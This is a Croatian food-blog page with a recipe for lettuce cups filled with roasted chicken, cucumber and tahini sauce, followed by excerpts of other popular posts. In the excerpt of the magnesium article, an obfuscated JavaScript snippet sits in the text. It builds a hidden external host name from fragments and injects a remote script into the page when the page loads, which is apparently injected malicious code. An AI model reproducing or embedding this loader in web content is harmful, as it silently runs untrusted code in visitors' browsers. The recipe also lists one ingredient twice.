KOŠARICE OD ZELENE SALATE S PILETINOM I TAHINI UMAKOM 🐔🥗




Košarice od zelene salate s piletinom i tahini umakom 



Sočna piletina, kremasti tahini preljev, svježe povrće i hrskavi listovi zelene salate idealna su kombinacija za brzi ručak ili laganu večeru. Ovaj lagan, ukusan i hranjiv obrok gotov je za pola sata i savršen je za vruće dane.




Košarice od zelene salate s piletinom i tahini umakom 


Sastojci:

Za piletinu

  • 450 g pilećih prsa bez kože i kostiju
  • 1 žlica maslinova ulja
  • sol
  • svježe mljeveni crni papar

Za posluživanje

    1 do 2 glavice zelene salate, npr. puterice

    • 1 srednji krastavac (oko 250 g), narezan na tanke štapiće
    • 1 šaka svježeg korijandera, grubo nasjeckanog
    • sezam
    • čili ulje, po ukusu

    Za tahini umak

    • 60 ml tahinija
    • sok 1 limete ili 3 žlice limunova soka
    • sok 1 limete ili 3 žlice limunova soka
    • 1 žlica umaka od soje
    • 1 do 2 režnja češnjaka, sitno nasjeckana
    • 30–60 ml vode (po potrebi)
    • sol, po želji



    Priprema:

    1. Zagrijte pećnicu na 180 stupnjeva. Pileća prsa premažite maslinovim uljem te ih začinite solju i paprom. Pecite oko 20 minuta, odnosno dok meso ne bude potpuno pečeno. Ostavite nekoliko minuta da se malo ohladi, a zatim ga usitnite pomoću dvije vilice.
    2. Za umak u zdjeli pomiješajte tahini, sok limete i sitno nasjeckani češnjak. Smjesa će se u početku zgusnuti, što je sasvim normalno. Postupno dodajte vodu, malo po malo, neprestano miješajući dok ne dobijete gladak i kremast umak. Na kraju umiješajte soja umak.
    3. U većoj zdjeli sjedinite trganu piletinu, štapiće krastavca i nasjeckani korijander. Prelijte tahini umakom i dobro promiješajte kako bi se svi sastojci ravnomjerno obložili.
    4. Odvojite listove salate i složite ih na tanjur. Svaki list napunite pripremljenim nadjevom od piletine, a zatim pospite sezamom, dodajte još malo svježeg korijandera i po želji pokapajte čili uljem.



    Pripremila: Ivana Matas 

    Primjedbe

    Objavi komentar

    Popularni postovi s ovog bloga

    MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

    Slika
    Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
    Pročitajte više

    POHANI SVINJSKI KOTLETI

    Slika
    Pohani svinjski kotleti  Što bi svjetska kuhinja bila bez pohanog mesa? Veliko ništa! Nijemci i Austrijanci paniraju teletinu i svinjetinu s jajima, brašnom i krušnim mrvicama, a potom ga prže u dubokom ulju. Japanci obožavaju hrskavu piletinu katsu, a Talijani peku meso alla milanese . Pohani svinjski kotleti  Sastojci: 4 svinjska kotleta 100 ml pilećeg temeljca 65 ml meda 5-6 češnja češnjaka 2 žlice jabučnog octa 1 žlica maslaca 1 čajna žličica češnjaka u prahu sol i papar po želji Priprema: Začinite svinjske kotlete sa solju, paprom i češnjakom u prahu. Zagrijte ulje u tavi, pa na njemu ispecite svinjske kotlete. Pecite meso oko tri do četiri minute sa svake strane dok ne dobije lijepu zlatno-smeđu boju i dok se skoro ne ispeku do kraja. Savite meso sa strane. U istoj tavi rastopite maslac. Drvenom kuhačom sastružite sve eventualne zapečene masnoće s dna. Na maslacu prepržite sitno nasjeckane češnjak – pirjajte ga oko pola minute. Potom dodajte med, pileći temel...
    Pročitajte više

    BOJANJE JAJA ZA USKRS - KREATIVNE IDEJE KOJE ĆE VAS ODUŠEVITI

    Slika
    Bojanje jaja za Uskrs - kreativne ideje koje će vas oduševiti  Bojanje jaja za Uskrs jedna je od najdražih blagdanskih tradicija koja svake godine okuplja obitelj oko stola i potiče kreativnost. Uz malo mašte i jednostavne trikove, uskrsna jaja postaju prava mala umjetnička djela koja će uljepšati blagdanski stol i donijeti dozu veselja u svaki dom. Povratak prirodi: kako obojiti jaja prirodnim bojama? Prije pojave umjetnih boja, naši su preci koristili ono što su imali u kuhinji i prirodi. Danas se vraćamo toj praksi, ne samo zbog zdravijih i ekološki prihvatljivijih rješenja, već i zbog čarolije stvaranja jedinstvenih, zemljanih tonova. Proces je zapravo svojevrsni znanstveni eksperiment za djecu, jer nikad niste posve sigurni kakvu ćete nijansu dobiti. Osnovni recept je jednostavan: odabrani sastojak kuhajte u vodi tridesetak minuta s jednom do dvije žlice octa, koji pomaže da se boja bolje primi za ljusku. Nakon toga procijedite tekućinu i u nju uronite već kuhana j...
    Pročitajte više